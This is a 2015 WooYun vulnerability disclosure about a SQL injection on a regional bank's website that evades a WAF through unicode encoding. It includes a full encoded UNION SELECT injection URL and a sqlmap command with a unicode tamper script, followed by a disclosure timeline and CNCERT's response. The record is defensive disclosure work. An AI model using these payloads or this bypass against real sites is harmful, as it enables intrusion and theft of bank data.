当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0153493

漏洞标题：某市农商银行主站SQL注入(unicode编码绕过360防护)

相关厂商：某市农商银行

漏洞作者： hecate

提交时间：2015-11-11 09:56

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-11： 细节已通知厂商并且等待厂商处理中
2015-11-23： 厂商已经确认，细节仅向厂商公开
2015-12-03： 细节向核心白帽子及相关领域专家公开
2015-12-13： 细节向普通白帽子公开
2015-12-23： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

绕

详细说明：

看了下这个洞 http://**.**.**.**/bugs/wooyun-2015-0144624
银行已经做了防护

图像 1.png


但并没有过滤，字符串 unicode 编码即可绕过

http://**.**.**.**/TextNewsList.aspx?NTID=11%20%u0062%u0052%u0065%u0058%u003D%u0036%u0033%u0038%u0030%u0020%u0041%u004E%u0044%u0020%u0031%u003D%u0031%u0020%u0055%u004E%u0049%u004F%u004E%u0020%u0041%u004C%u004C%u0020%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0031%u002C%u0032%u002C%u0033%u002C%u0074%u0061%u0062%u006C%u0065%u005F%u006E%u0061%u006D%u0065%u0020%u0046%u0052%u004F%u004D%u0020%u0069%u006E%u0066%u006F%u0072%u006D%u0061%u0074%u0069%u006F%u006E%u005F%u0073%u0063%u0068%u0065%u006D%u0061%u002E%u0074%u0061%u0062%u006C%u0065%u0073%u0020%u0057%u0048%u0045%u0052%u0045%u0020%u0032%u003E%u0031%u002D%u002D%u0020%u002E%u002E%u002F%u002E%u002E%u002F%u002E%u002E%u002F%u0065%u0074%u0063%u002F%u0070%u0061%u0073%u0073%u0077%u0064

漏洞证明：

sqlmap.py -u "http://**.**.**.**/TextNewsList.aspx?NTID=11" --random-agent --tamper charunicodeencode.py --current-user -v 3


图像 3.png


图像 4.png

修复方案：

过滤

版权声明：转载请注明来源 hecate@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-11-23 11:52

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT向银行业信息化主管部门通报,由其后续协调网站管理单位处置；同时转由CNCERT发内蒙古分中心。

最新状态：

暂无

漏洞评价：

评价

  1. 2015-11-23 12:50 | hecate ( 普通白帽子 | Rank:720 漏洞数:108 | ®高级安全工程师 | WooYun认证√)

    这么快就修复了

  2. 2015-11-23 13:18 | %230CC ( 路人 | Rank:6 漏洞数:2 | 溜溜)

    同时转由CNCERT发内蒙古分中心。....内蒙农商。。。那里滴民风彪悍哟

  3. 2015-12-13 11:57 | 小红猪 ( 普通白帽子 | Rank:285 漏洞数:48 | little red pig!)

    楼上是咋看到详细的

  4. 2015-12-14 12:07 | %230CC ( 路人 | Rank:6 漏洞数:2 | 溜溜)

    @小红猪 ...我看的时候 可能还没改标题吧。。。现在改了 我也看不到了。。。